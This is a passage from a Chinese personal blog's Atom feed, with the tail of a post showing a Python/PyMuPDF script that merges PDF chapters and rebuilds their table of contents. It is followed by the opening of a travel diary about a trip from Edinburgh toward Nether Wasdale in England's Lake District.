&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; sys&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; argv&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; :=&lt;&#x2F;span&gt;&lt;span&gt; argv&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;index&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-o&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    _&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; argv&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;pop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    output&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; argv&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;pop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;  # Assume `-o output.pdf`&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    output&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;output.pdf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; page_plus&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; page_plus_offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;] +=&lt;&#x2F;span&gt;&lt;span&gt; offset&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span&gt; row&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; page_plus_offset&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;with&lt;&#x2F;span&gt;&lt;span&gt; fitz&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;open&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span&gt; doc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    toc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = []&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; chapter&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; argv&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:]:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        with&lt;&#x2F;span&gt;&lt;span&gt; fitz&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;open&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;chapter&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;            # Ignore t[3] (get_toc(False)) in case kind == fitz.LINK_NAMED&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            toc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;extend&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;map&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;page_plus&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;doc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)),&lt;&#x2F;span&gt;&lt;span&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;get_toc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;            # Metadata is unchanged, that&amp;#39;s why we need to manually set toc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            doc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;insert_pdf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    doc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;set_toc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;toc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    doc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;save&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;output&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; garbage&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; deflate&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后我开始写这篇博客，想着最好还是在发布之前试一下&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;mutool&lt;&#x2F;code&gt;——试完发现自己白写了。😭&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;cat-pdf
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;cat-pdf&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>英格兰最深湖和最高峰</title>
    <published>2023-06-03T18:52:11+01:00</published>
    <updated>2023-06-16T21:16:27+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/nether-wasdale/" type="text/html" />
    <id>https://emptystack.top/nether-wasdale/</id>
    <content type="html">
      &lt;p&gt;我决定在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;27&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号（周六）前往湖区西部的村子&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Nether
Wasdale，28&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号去看看英格兰最深的湖&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Wast
Water，29&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号以登顶英格兰最高峰&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Scafell
Pike&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的方式庆祝生日。最后在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;30&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号回家。&lt;&#x2F;p&gt;
&lt;p&gt;由于要走很久到旅馆，我必须轻量化出行。所以我没带日记本和笔，有什么想说的直接用手机写在博客草稿中了。因此，这篇游记会比以前的更加细碎。&lt;&#x2F;p&gt;
&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;nether-wasdale&#x2F;#采购&quot;&gt;采购&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;nether-wasdale&#x2F;#第一天&quot;&gt;第一天&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;nether-wasdale&#x2F;#爱丁堡&quot;&gt;爱丁堡&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;nether-wasdale&#x2F;#Lockerbie&quot;&gt;Lockerbie&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;nether-wasdale&#x2F;#Carlisle&quot;&gt;Carlisle&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;nether-wasdale&#x2F;#Northen的火车&quot;&gt;Northen的火车&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;nether-wasdale&#x2F;#Ravenglass&quot;&gt;Ravenglass&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;nether-wasdale&#x2F;#前往Nether_Wasdale&quot;&gt;前往Nether Wasdale&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;nether-wasdale&#x2F;#Strands_Inn&quot;&gt;Strands Inn&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;nether-wasdale&#x2F;#第二天&#x2F;Wast_Water_&amp;_The_Screes&quot;&gt;第二天&#x2F;Wast Water &amp; The Screes&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;nether-wasdale&#x2F;#第三天&#x2F;Scafell_Pike&quot;&gt;第三天&#x2F;Scafell Pike&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;nether-wasdale&#x2F;#第四天&quot;&gt;第四天&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;nether-wasdale&#x2F;#离开Nether_Wasdale&quot;&gt;离开Nether Wasdale&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;nether-wasdale&#x2F;#Ravenglass_Roman_Bath&quot;&gt;Ravenglass Roman Bath&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;nether-wasdale&#x2F;#Ravenglass_→_Dalegarth&quot;&gt;Ravenglass → Dalegarth&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;nether-wasdale&#x2F;#Eskdale_Mill&quot;&gt;Eskdale Mill&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;nether-wasdale&#x2F;#Dalegarth_→_Ravenglass&quot;&gt;Dalegarth → Ravenglass&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;nether-wasdale&#x2F;#回爱丁堡&quot;&gt;回爱丁堡&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;nether-wasdale&#x2F;#后记&quot;&gt;后记&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;采购&quot;&gt;采购&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;工欲善其事，必先利其器&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，在决定登山后我便开始对着互联网了解户外装备。然后发现：我好像只有裤衩不用买新的。没办法，买吧。&lt;&#x2F;p&gt;
&lt;p&gt;购物是一件愉悦的事情，其兴奋程度不亚于真正的出行。我讨厌逛街的原因是商场里的衣服从来没给我想要拥有的感觉，往往逛了一圈什么收获也没有。户外衣物注重功能，所以好挑：这个透气控温而且防臭；那个既防水，又够轻……我都想要！从此决定以后逛街只逛户外用品店。&lt;&#x2F;p&gt;
&lt;p&gt;不过我感觉户外用品的做工都有点糙，这一点上和它们的价格不匹配。点名批评&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Rab&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Osprey&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上满眼的线头，以及&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Meindl&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上溢出来的胶。难不成他们的工厂其实是手工作坊？&lt;&#x2F;p&gt;
&lt;h2 id=&quot;第一天&quot;&gt;第一天&lt;&#x2F;h2&gt;
&lt;p&gt;我喜欢旅游，但不喜欢出发。因为为了最大化玩的时间，我得很早起。&lt;&#x2F;p&gt;
&lt;p&gt;量了下体重：67.9&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;千克。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;爱丁堡&quot;&gt;爱丁堡&lt;&#x2F;h3&gt;
&lt;p&gt;因为爱丁堡周日要办马拉松，所以周六去车站的公交就停运了。往前走了一个站，得知是下午才停运。还好，那我还有公交可坐。&lt;&#x2F;p&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;
&lt;p&gt;我往返的火车路线是从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Waverley&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;出发，到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Carlisle&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;导车，最后到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ravenglass。其中&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Waverley&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Carlisle&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;这一段在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;27&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号要换轨道，所以被改成了大巴。我原以为有很多替代大巴，还在想会不会找不到自己的车。结果到了发现，就一辆。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_072013858-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_072013858-optim.jpg&quot;
	alt=&quot;指向大巴的标识&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;大部分乘客都背着包，还有人背那种铁塔一样的巨型徒步包——其实早上和我等公交的人也背着很高的背包——看了以后不禁让我思考起多少升的背包能把我装下。&lt;&#x2F;p&gt;
&lt;p&gt;车窗外最开始还有零星养牛养羊的，一个小时以后就是大片起伏的绿色草地、树木了。如果叫我下车就在路边玩的话，其实倒也可以。我的目的地在我心里，就是更大更好的绿地。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;Lockerbie&quot;&gt;Lockerbie&lt;&#x2F;h3&gt;
&lt;p&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lockerbie&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;火车站外停了一次车，下去一个人。如果不坐替换大巴，我一辈子也不会在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lockerbie&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;停这么久吧。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_093554481.MP-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_093554481.MP-optim.jpg&quot;
	alt=&quot;Lockerbie的天使雕像&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;想要在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lockerbie&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;拍点什么，因为实在找不到景所以拍了张火车站的电线杆子。等大巴再度动起来，看到路边有两只可爱的小羊雕像。可惜等我掏出手机来已经过去了，不过眼前马上又出现一尊帅气的天使雕像：左手拿圈，右手拿剑。我估计他是在庙会上玩套圈赢了一把剑，正在和人炫耀。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;Carlisle&quot;&gt;Carlisle&lt;&#x2F;h3&gt;
&lt;p&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Carlisle&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有一个小时的导车时间，我怎能不逛一逛这座&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Cumbria&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;唯一的城市？&lt;&#x2F;p&gt;
&lt;p&gt;Carlisle
Cathedral&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的断壁残垣和顶部的星空挺好看的。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c16-9&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_102324207-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_102324207-optim.jpg&quot;
	alt=&quot;Carlisle Cathedral的走廊废墟&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_103018823-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_103018823-optim.jpg&quot;
	alt=&quot;Carlisle Cathedral的星空顶和房顶的天使&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;看完座堂还想再走几分钟看看城堡。但害怕赶不上火车，所以只是远望了一下（下图中的最远处）就去车站了。事实证明这是对的，因为刚上车没几秒车就开了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230527_105855506.MP-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230527_105855506.MP-optim.jpg&quot;
	alt=&quot;远处，街道消失的地方是Carlisle Castle&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;本来计划在这里找个提款机取一些英格兰纸币备用，但是到了就把取钱的事忘了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;Northen的火车&quot;&gt;Northen&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的火车&lt;&#x2F;h3&gt;
&lt;p&gt;车上玩&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;bikepacking&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的人还挺多。我在车站还见到一辆链子断了，被主人拽着车把跑的车。我对&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;bikepacking&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也有点兴趣，不过我不喜欢骑不平的路。&lt;&#x2F;p&gt;
&lt;p&gt;Northern&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的火车就是跑在铁轨上的大巴。某种程度上它还不如大巴：车皮看起来比大巴的薄多了。这车起步时噪音巨大，要不是车速不快，我还以为我坐火箭呢。&lt;&#x2F;p&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;
